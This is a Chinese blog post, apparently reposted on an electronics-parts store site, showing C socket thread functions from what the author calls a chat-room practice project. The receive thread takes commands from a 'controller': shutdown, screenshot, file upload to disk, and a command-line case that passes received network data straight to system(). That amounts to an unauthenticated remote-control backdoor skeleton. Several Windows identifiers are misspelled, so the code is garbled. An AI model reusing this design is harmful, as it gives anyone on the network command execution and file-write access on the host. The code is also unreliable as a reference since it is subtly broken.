锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

服务器端的收发线程函数

时间:2024-05-04 22:07:09


练习写套接字通信程序时候写的一段代码,本来想写个聊天室但写来写去进度卡在界面上接节下来都是通信部分的代码
因为只是试验用所以都是用C写的,等界面部分完工后会用类来封装一下
因为本人E文很烂所以变量和函数的命名是具有中国特色的,求理解.不过我注释的很详细了
谨以此文纪念我那坑爹的编程自学生涯......................

#include "shujubao.h"
#include "stdlib.h"
//定义线程共享全局变量用来协调线程进度
int M=0; //指挥发送线程工作,为1则把fasjgd中的数据发送出去
struct SJGD fasjgd; //数据发送完后把M置0
/////////////////////////////////////////////////////////////////////////////////////////
//接收线程函数
DWORD WIN JieXC (LPVOID jie)
{
////////////////////////////////////////
SOCKET callsock=INLID_SOCKET;
callsock=(SOCKET)jie;
char data[SZBAO]; //接收缓冲区
struct SJGD sjgd; //标准数据包存放管道
sjgd.sjcd=SZBAO;
struct SJB sjb; //封包结构体
HANDLE File; //文本句柄
DWORD szfile;
/////////////////////////////////////////////////
while (1)
{
recv(callsock,data,SZBAO,0); //接收一个标准数据包错误数据包丢弃不处理
char_byte(data,&sjgd,1,SZBAO); //对缓冲区进行强制类型转换不转换的话解包会出错
ZeroMemory(data,SZBAO); //清零接收缓冲区
if(Jiebao(&sjgd,&sjb)) //如果是标准数据包的话就进行功能判断和处理
{
switch(sjb.data.msg_stoc.cmd)
{
case CMD_GUANGJI:
//关机功能
break;
case CMD_CMD:
//命令行功能
system((char*)sjb.data.msg_stoc.shuju);
break;
case CMD_JIEPING:
//截屏功能
break;
//////////////////////////////////////////////////////////////////////////////////////////
case CMD_FTP: //文件传输功能
if(sjb.tou.sxid!=1) break;
//以FTP包顺序标号为1的包的附加数据为文件名创建文件
//File=CreateFile((char*)sjb.data.msg_stoc.shuju,GENERIC_WRI,0,NULL,O_ALWA,FILE_ATBUTE_NORMAL,NULL);
File=CreateFile("c:\\按键宝典.chm",GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ARIBUTE_NORMAL,NULL);
//进入文件接收循环
while(sjb.tou.sxid!=0)
{
recv(callsock,data,SZBAO,0); //接收一个标准数据包错误数据包丢弃不处理
char_byte(data,&sjgd,1,SZBAO); //对缓冲区进行强制类型转换不转换的话解包会出错
if(Jiebao(&sjgd,&sjb))
{
WriteFile(File,(char*)sjb.data.msg_stoc.shuju,sjb.data.msg_stoc.sjbcd,&szfile,NULL);
}
}
CloseHandle(File);
////////////////////////////////////////////////////////////////
char sz[]="文件已经接收成功!";
MoveMemory(fasjgd.sjgd,sz,sizeof(sz));
fasjgd.sjcd=sizeof(sz);
Fengbao(1,CMD_QQ,1,&fasjgd,&sjb); //给控制端发一个文件接收成功消息数据包
Fabao(&sjb,&fasjgd);
M=1;
/////////////////////////////////////////////////////////////////
break;
//////////////////////////////////////////////////////////////////////////////////////////////
}
}
}
/////////////////////////////////////////////////
return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//发送线程函数
//工作流程是功能函数把各种数据包风包好后发送到fasjgd并把M置1,发送线程开始发包成功后把M置0
DWORD WINAPI FaXC (LPVOID fa)
{
SOCKET callsock=INVALID_SOCKET;
callsock=(SOCKET)fa;
while(1)
{
if(M==1)
{
send(callsock,(char*)fasjgd.sjgd,fasjgd.sjcd,0);
M=0;
}
}
return 0;
}
///////////////////////////////////////////////////////////////////////////////////////////


-电子元器件采购网(www.ruidan.com)是本土元器件目录分销商,采用“小批量、现货、样品”销售模式,致力于满足客户多型号、高质量、快速交付的采购需求。 自建高效智能仓储,拥有自营库存超过50,000种,提供一站式正品现货采购、个性化解决方案、选型替代等多元化服务。
锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章